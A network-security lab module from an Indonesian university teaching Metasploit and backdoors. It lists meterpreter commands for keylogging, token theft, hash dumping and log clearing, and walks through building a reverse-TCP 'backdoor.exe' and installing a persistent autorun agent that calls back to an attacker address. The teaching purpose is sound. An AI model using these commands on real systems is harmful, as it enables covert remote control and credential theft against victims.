metasploit

20
Modul Praktek Keamanan Jaringan Network Security Telkom University 2014-2015 1 METASPLOIT DAN BACKDOOR I. Tujuan 1. Praktikan Mengenal dan memahami konsep dasar eksploitasi dengan metasploit 2. Praktikan dapat melakukan eksploitasi sederhana menggunakan metasploit 3. Praktikan Mengenal dan Memahami konsep dasar backdoor 4. Praktikan dapat melakukan instalasi sederhana backdoor menggunakan metasploit II. Alat yang dugunakan 1. Virtual box 2. Sistem Operasi Ubuntu 12.04 Windows 7 III. Dasar Teori A. Metasploit The Metasploit Project adalah sebuah poyek open source yang dikembangkan oleh rapid7 yang meneliti tentang kerentanan keamanan dan mengembangkan kode yang memungkinkan jaringan masuk ke jaringan sendiri untuk mengidentifikasi risiko keamanan. Penciptaan proyek yang paling terkenal adalah Metasploit Framework. Metasploit Framework adalah sebuah platform perangkat lunak untuk mengembangkan, menguji, dan melaksanakan eksploitasi. Metasploit awalnya diciptakan sebagai alat jaringan portable oleh HD Moore pada tahun 2003 kemudian diakuisisi oleh perusahaan keamanan jaringan rapid7 pada tahun 2009. (TechTarget, 2011)

Upload: muktipriagung

Post on 03-Dec-2015

22 views

Category:

Documents


3 download

DESCRIPTION

Tutorial Metasploit dengan cara sederhana

TRANSCRIPT

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

1

METASPLOIT DAN BACKDOOR

I. Tujuan

1. Praktikan Mengenal dan memahami konsep dasar eksploitasi dengan metasploit

2. Praktikan dapat melakukan eksploitasi sederhana menggunakan metasploit

3. Praktikan Mengenal dan Memahami konsep dasar backdoor

4. Praktikan dapat melakukan instalasi sederhana backdoor menggunakan metasploit

II. Alat yang dugunakan

1. Virtual box

2. Sistem Operasi

Ubuntu 12.04

Windows 7

III. Dasar Teori

A. Metasploit

The Metasploit Project adalah sebuah poyek open source yang dikembangkan oleh rapid7 yang

meneliti tentang kerentanan keamanan dan mengembangkan kode yang memungkinkan jaringan

masuk ke jaringan sendiri untuk mengidentifikasi risiko keamanan.

Penciptaan proyek yang paling terkenal adalah Metasploit Framework. Metasploit Framework

adalah sebuah platform perangkat lunak untuk mengembangkan, menguji, dan melaksanakan

eksploitasi. Metasploit awalnya diciptakan sebagai alat jaringan portable oleh HD Moore pada

tahun 2003 kemudian diakuisisi oleh perusahaan keamanan jaringan rapid7 pada tahun 2009.

(TechTarget, 2011)

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

2

Arsitektur metasploit (Aharoni, et al., 2014)

Libraries

Rex

Perpustakaan (libraries) dasar untuk sebagian besar tugas.

Menangani soket, protokol, transformasi teks, dll.

MSF Core

Menyediakan dasar API (Application Programming Interface)

Mendefinisikan metasploit framework

MSF Base

Menyediakan ramah API

Menyediakan API yang disederhanakan untuk framework

Metasploit Interface

1. MSFConsole

Pada praktikum ini menggunakan MSFconsole sebagai pembelajaran metasploit. Pada

msfconsole merupakan "all-in-one" atau konsol terpusat dan memungkinkan pengguna lebih

efisien karena untuk hampir semua pilihan telah tersedia di Metasploit Framework.

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

3

Kelebihan MSFConsole :

Merupakan interface satu-satunya yang dapat mengakses sebagian fitur yang ada pada

metasploit

Menyediakan antarmuka berbasis konsol untuk framework

Merupakan interface yang memiliki banyak fitur dan merupakan yang paling stabil

Mendukung full read line, tabbing dan command completion

2. MSFcli

Merupakan interface yang menggunakan command line untuk menggunakan metasploit.

Kelebihan MSFcli :

Mendukung peluncuran eksploitasi dan modul tambahan

Dapat menangani tugas tertentu yang lebih spesifik

Baik untuk pembelajaran, karena tidak menggunakan fitur otomatis seperti yang

dimiliki msfconsole

Cocok digunakan untuk pengujian atau mengembangkan eksploitasi yang baru

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

4

Kekurangan MSFcli :

MSFcli tidak mendukung banyak fitur sebaik MSFconsole, dan hanya dapat menangani satu

shell dalam satu waktu, sehingga lebih praktis untuk menggunakan serangan client-side.

Contoh :

3. Armitage

Armitage adalah salah satu interfaces yang dimiliki metasploit menggunakan grafis. Dibuat

oleh Raphael Mudge.

Armitage (Fili, 2010)

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

5

Modules

Dalam konteks ini, yang dimaksud modul adalah software yang digunakan oleh framework

metasploit.

Payload

Kode yang digunakan untuk mengeksekusi perintah pada sistem, kemudian kode ini dipilih

dan disampaikan oleh framework untuk melakukan penetrasi.

Shellcode

Shellcode adalah satu set instruksi yang digunakan sebagai payload ketika eksploitasi

terjadi. Shellcode biasanya ditulis dalam bahasa assembly.

Exploit

Pemanfaatan yang dilakukan oleh penyerang terhadap lemahnya suatu sistem untuk

memperoleh keuntungan.

Listener

Listener dalam konteks ini adalah komponen pada metasploit yang menunggu koneksi

masuk.

Encoders

Memastikan bahwa payload sampai ke tujuan

Auxiliary

Sebagai pelengkap modul

Meterpreter adalah salah satu produk unggulan yang dimiliki metasploit dan digunakan sebagai

payload setelah kerentanan sistem berhasil dimanfaatkan.

Meterpreter merupakan perpanjangan dari framework Metasploit yang memungkinkan kita untuk

memanfaatkan fungsi Metasploit. Beberapa fungsi ini meliputi cara untuk menutupi jejak, berada

sepenuhnya dalam memori, hash dump, akses sistem operasi, dan lain-lain.

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

6

Perintah Dasar

a. Perintah dasar MSFconsole

COMMAND Artinya

show exploits Menampilkan semua modul dalam framework

show payloads Menampilkan semua payload dalam framework

show auxiliary Menampilkan semua modul tambahan dalam

framework

search <name> Mencari modul pada framework

info Memuat informasi tentang modul tertentu

use <name> Memuat eksploitasi atau modul

LHOST Local host (Alamat IP local yang dijangkau oleh

target / IP local yang digunakan oleh pengguna

metasploit)

RHOST Remote host atau target (Alamat IP target)

LPORT Port local yang digunakan untuk membuka

koneksi

RPORT Menentukan port yang terbuka pada komputer

target (Remote Port)

set function Mengatur nilai tertentu (misalnya, LHOST atau

RHOST)

setg function Mengatur nilai tertentu secara global

(misalnya, LHOST atau RHOST)

show options Tampilan pilihan yang tersedia untuk modul

atau eksploitasi

show target Menampilkan platform target (Sistem operasi

dan versinya)

Set target <num> Menentukan index target tertentu, setelah

pengguna megetahui sistem operasi dan

versinya

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

7

set payload <payload> Menentukan payload untuk digunakan

Show advanced Menampilkan opsi lanjutan

Set autorunscript migrate -f Mengatur secara otomatis bermigrasi ke proses

yang terpisah setelah proses eksploitasi selesai

check Menentukan apakah target rentan terhadap

serangan

exploit Menjalankan modul atau mengeksploitasi dan

melakukan serangan kepada target

exploit -j Menjalankan mengeksploitasi dibawah konteks

pekerjaan (melakukan eksploitasi pada mode

background)

exploit -z Menjalankan modul atau mengeksploitasi

tetapi tidak akan berinteraksi dengan session

setelah proses eksploitasi sukses

exploit –e encoder Menjalankan modul atau mengekploitasi

menggunakan encoder payload,

contoh : exploit –e shikata_ga_nai

exploit -h Menampilkan perintah bantuan untuk

menjalankan perintah exploit

session -l Menampilkan daftar session yang tersedia

(digunakan ketika menangani banyak shell)

session –l –v Menampilkan semua daftar session yang

tersedia dan menampilkan secara terperinci

seperti yang digunakan ketika melakukan

eksploitasi sistem

session –s script Menjalankan secara spesifik script meterpreter

pada semua session meterpreter aktif

session -K Menonaktifkan semua session yang aktif

session –c cmd Menjalankan semua perintah pada session

meterpreter aktif

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

8

session –u sessionID Upgrade win32 shell normal ke konsol

meterpreter

db_create Membuat database, digunakan untuk serangan

berbasis database (contoh db_create

autopwn)

db_connect Membuat dan menghubungkan ke database

(contoh db_connect autopwn)

db_nmap Menggunakan nmap dan menempatkan

hasilnya ke dalam database (sintaks yang

mendukung nmap –sT –v –p0)

db_autopwn -h Tampilan bantuan untuk menggunakan

db_autopwn

db_destroy Menghapus database saat ini

db_destroy

user:password@host:port/database

Menghapus database menggunakan opsi

lanjutan

b. Perintah dasar meterpreter

COMMAND Artinya

help Menampilkan perintah bantuan untuk

menjalankan meterpreter

run scriptname Menjalankan perintah meterpreter berbasis

script

sysinfo Menampilkan informasi sistem target

ls Menampilkan daftar files dan folder target

use priv menggunakan privilege mode untuk

mendapatkan akses istimewa

ps Menampilkan semua proses yang berjalan dan

akun yang berhubungan dengan setiap proses

Migrate PID Bermigrasi ke ID proses tertentu (PID adalah

Proses ID yang diperoleh dari perintah ps)

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

9

Use incognito Menggunakan fungsi penyamaran (Digunakan

untuk tanda pencurian dan peniruan pada

mesin target)

list_token -u Menampilkan daftar token yang tersedia setiap

pengguna (by user)

List_token -g Menampilkan daftar token yang tersedia

perkelompok (by group)

impersonate_token

DOMAIN_NAME\\USERNAME

Meniru token yang tersedia pada target

steal_token PID Mencuri token yang tersedia untuk suatu proses

dan melakukan penyamaran melalui token itu

drop_token Berhenti menyamar token

getsystem Mencoba untuk meningkatkan hak akses untuk

mengakses sistem melalui beberapa vektor

serangan

shell Memindahkan ke sebuah shell interaktif dengan

semua token yang tersedia

execute -f cmd.exe -i menjalankan cmd.exe dan berinteraksi dengan

cmd tersebut

execute -f cmd.exe -i -t menjalankan cmd.exe dengan semua token

tersedia

execute -f cmd.exe -i -H -t menjalankan cmd.exe dengan semua token

yang tersedia dan membuat proses

tersembunyi

rev2self Kembali ke user asli yang digunakan untuk

bernegosiasi dengan target

reg command Interact, create, delete, query, set, dan masih

banyak registri target

setdesktop number Beralih ke layar yang berbeda berdasarkan pada

siapa yang login

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

10

screenshot Mengambil screenshot layar target

upload file Mengupload file ke target

download file Mendownload file dari target

keyscan_start Mulai sniffing penekanan tombol pada target

secara jarak jauh

keyscan_dump Membuang key yang terekam oleh target

keyscan_stop Berhenti melakukan sniffing

getprivs Mendapatkan hak akses sebanyak mungkin

pada target

uictl enable keyboard/mouse Ambil kontrol dari keyboard dan atau mouse

background menjalankan Meterpreter shell di background

hashdump Membuang semua hash pada target

use sniffer Memuat modul sniffer

sniffer_interfaces Menampilkan daftar interface yang tersedia

pada target

sniffer_dump interfaceID

pcapname

Mulai sniffing pada remote target

sniffer_start interfaceID

packet-buffer

Mulai sniffing dengan range tertentu untuk

buffer paket.

sniffer_stats interfaceID Ambil informasi statistik dari saat interface

melakukan sniffing.

sniffer_stop interfaceID Hentikan sniffer

add_user username password -h

ip

Menambahkan pengguna pada target

add_group_user "Domain Admins"

username -h ip

Menambahkan user ke grup Administrator

Domain pada remote target

clearev menghapus event log pada mesin target.

timestomp Merubah atribut file, seperti tanda pembuatan,

dll

reboot Restart mesin target

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

11

REQUIREMENT METASPLOIT

Untuk spesifikasi hardware minimal dapat dilihat di http://www.offensive-security.com/metasploit-

unleashed/Requirements

INSTALASI METASPLOIT PADA UBUNTU 12.04

1. Update repository

#sudo apt-get update

2. Dapatkan package metasploit di http://metasploit.com/download

Keterangan : pada modul ini metasploit yang digunakan adalah untuk linux 32 bit

3. Simpan file tersebut di Desktop

4. Masuk mode bash

#sudo bash

5. Masuk direktori desktop

#cd Desktop/

6. Merubah hak akses

#chmod +x metasploit-latest-linux-installer.run

7. Lalu jalankan setup metasploit

#./ metasploit-latest-linux-installer.run

8. Klik forward

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

12

9. Centang I accept the agreement lalu klik forward

10. Klik forward, menggunakan direktori default

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

13

11. Klik yes, pada pilihan install as service lalu klik forward

12. Klik forward, untuk disable antivirus and firewall

13. Gunakan ssl port default, lalu klik forward

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

14

14. Gunakan server default, lalu klik forward

15. Klik forward

16. Menunggu proses instalasi

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

15

17. Buka terminal, lalu install paket pendukung

#sudo apt-get install postgreSQL rubygems libpq-dev libreadline-dev ruby-dev

18. Instal paket nmap

#sudo apt-get install nmap

B. Backdoor

Backdoor adalah salah satu jenis trojan yang sering digunakan untuk mengontrol suatu komputer

dari jarak jauh melalui jaringan baik lokal maupun Internet. Ciri khas backdoor adalah berjalan

secara tersembunyi, tidak menampilkan hal-hal yang mencurigakan, serta membuka port agar

komputer dapat diakses secara remote. Backdoor dapat juga disebut sebagai Remote Access Trojan

atau Remote Administration Tool (RAT).

Contoh trojan backdoor (RAT) adalah Posion Ivy, Bifrost, Optix Pro, DarkComet-Rat, XpertRAT, Back

Orifice, Sub Seven (Sub7), meterpreter backdoor, persistent backdoor (Netcat backdoor,

meterpreter service), dan lain-lain.

Cara kerja Trojan Backdoor

Ada dua bagian backdoor, yaitu client dan server. Client adalah program yang diinstal di komputer

target sedangkan server merupakan program yang digunakan attacker dalam mengoperasikan

komputer target. Ada dua metode komunikasi antara client dan server yaitu direct connection dan

reverse connection.

Pada direct connection, server berusaha melakukan koneksi ke IP target agar dapat

berkomunikasi dengan client. Tapi hal ini lebih mudah diblok oleh program firewall.

Pada reverse connection tidak membutuhkan IP target karena serverlah yang berusaha

melakukan koneksi ke IP client (attacker). Ketika attacker menjalankan client dengan koneksi

Internet lain, IP pun akan berubah, lalu bagaimana membuat IP client yang bersifat taktis?

Untuk mengatasi hal ini, attacker dapat memakai dynamic DNS yang banyak disediakan secara

gratis oleh website-website tertentu.

(Mojokertocyber Media, 2013)

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

16

Perintah dasar Persistent Backdoor

Sebelum membuat backdoor menggunakan meterpreter service, kita harus memahami perintah

dasar msfpayload.

Msfpayload adalah contoh baris perintah dari Metasploit yang digunakan untuk menghasilkan dan

output semua berbagai jenis shellcode yang tersedia di Metasploit. Penggunaan yang paling umum

dari alat ini adalah untuk generasi shellcode untuk mengeksploitasi yang tidak sedang dalam

Metasploit Framework atau untuk menguji berbagai jenis shellcode dan pilihan sebelum

menyelesaikan modul.

Berikut pilihan perintah yang tersedia pada msfpayload :

Untuk melihat daftar payload yang tersedia menggunakan perintah seperti dibawah ini :

root@praktikum:~# msfpayload -h

Usage: /usr/bin/msfpayload [] [var=val]

<[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Py

tho[N]>

OPTIONS:

-h Help banner

-l List available payloads

root@praktikum:~# msfpayload -l

Framework Payloads (251 total)

==============================

Name Description

---- -----------

aix/ppc/shell_bind_tcp Listen for a

connection and spawn a command shell

aix/ppc/shell_find_port Spawn a shell on an

established connection

...snip...

...snip...

windows/x64/vncinject/bind_tcp Listen for a

connection (Windows x64), Inject a VNC Dll via a reflective loader

(Windows x64) (staged)

windows/x64/vncinject/reverse_tcp Connect back to the

attacker (Windows x64), Inject a VNC Dll via a reflective loader (Windows

x64) (staged)

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

17

Untuk mengecek apakah payload anda pilih tersebut tersedia pada komputer anda

Status yes pada baris EXITFUNC menunjukan bahwa payload tersedia (sesuai)

root@praktikum:~# msfpayload windows/meterpreter/reverse_tcp O

Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager

Module: payload/windows/meterpreter/reverse_tcp

Platform: Windows

Arch: x86

Needs Admin: No

Total size: 290

Rank: Normal

Provided by:

skape <[email protected]>

sf <[email protected]>

hdm <[email protected]>

Basic options:

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process yes Exit technique: seh, thread,

process, none

LHOST yes The listen address

LPORT 4444 yes The listen port

Description:

Connect back to the attacker, Inject the meterpreter server DLL via

the Reflective Dll Injection payload (staged)

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

18

Status yes menunjukan bahwa pengaturan LHOST dan LPORT tersedia (sesuai)

Setelah memastikan bahwa semua pengaturan tersedia, maka eksekusi perintah tersebut seperti

contoh dibawah ini

Keterangan :

- msfpayload adalah perintah untuk menggunakan msfpayload

- windows/meterpreter/reverse_tcp adalah payload yang dipilih dan digunakan

pada contoh diatas

root@praktikum:~# msfpayload windows/meterpreter/reverse_tcp

LHOST=192.168.1.2 LPORT=666 x O

Name: Windows Meterpreter (Reflective Injection), Reverse TCP

Stager

Module: payload/windows/meterpreter/reverse_tcp

Platform: Windows

Arch: x86

Needs Admin: No

Total size: 290

Rank: Normal

Provided by:

skape <[email protected]>

sf <[email protected]>

hdm <[email protected]>

Basic options:

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process yes Exit technique: seh, thread,

process, none

LHOST 192.168.1.2 yes The listen address

LPORT 666 yes The listen port

Description:

Connect back to the attacker, Inject the meterpreter server DLL via

the Reflective Dll Injection payload (staged)

root@praktikum:~# msfpayload windows/meterpreter/reverse_tcp

LHOST=192.168.1.2 LPORT=666 x > /var/www/backdoor.exe

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

19

- LHOST adalah Alamat IP local yang dijangkau oleh target / IP local yang digunakan oleh

pengguna metasploit, 192.168.1.2 adalah ip address yang digunakan oleh komputer

penyerang

- LPORT Port local yang digunakan untuk membuka koneksi

- x adalah argument yang menyatakan untuk dieksekusi (executable)

- /var/www/ adalah tempat dimana file backdoor.exe disimpan

- backdoor.exe adalah nama file .exe

Untuk melihat pilihan yang tersedia, kita dapat menggunakan perintah “-h”, perintah ini digunakan

setelah berhasil melakukan exploitasi menggunakan meterpreter.

Berikut contoh untuk mengimplementasikan perintah diatas :

meterpreter > run persistence -h

OPTIONS:

-A Automatically start a matching multi/handler to connect to

the agent

-U Automatically start the agent when the User logs on

-X Automatically start the agent when the system boots

-h This help menu

-i The interval in seconds between each connection attempt

-p The port on the remote host where Metasploit is listening

-r The IP of the system running Metasploit listening for the

connect back

meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.71

[*] Creating a persistent agent: LHOST=192.168.1.71 LPORT=443 (interval=5

onboot=true)

[*] Persistent agent script is 613976 bytes long

[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs

[*] Agent executed with PID 492

[*] Installing into autorun as

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr

[*] Installed into autorun as

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr

[*] For cleanup use command: run multi_console_command -rc

/root/.msf4/logs/persistence/XEN-XP-SP2-

BARE_20100821.2602/clean_up__20100821.2602.rc

meterpreter >

Modul Praktek Keamanan Jaringan

Network Security Telkom University

2014-2015

20

IV. Referensi

Aharoni, M., Coppola, W., Hand, P., Hernandez, A., Kearns, D., Kennedy, D., et al. (2014). Metasploit

Unleashed. Retrieved Februari 12, 2014, from Offensive Secutity: http://www.offensive-

security.com/metasploit-unleashed/Metasploit_Architecture

Fili. (2010, September 18). Eclectic Security. Retrieved April 03, 2014, from Metasploit 3.7.0 and

Armitage with postgresql support: http://bailey.st/blog/tag/metasploit/

Mojokertocyber Media. (2013). Hacking Dengan Trojan Backdoor. Retrieved April 8, 2014, from

Mojokertocyber Media: http://www.mojokertocyber.com/cyber-tech/keamanan-

jaringan/178-hacking-dengan-trojan-backdoor.html

TechTarget. (2011, Agustus). Metasploit Project - Metasploit Framework. Retrieved Februari 12,

2014, from SearchSecurity.in: http://searchsecurity.techtarget.in/definition/Metasploit-

Project-Metasploit-Framework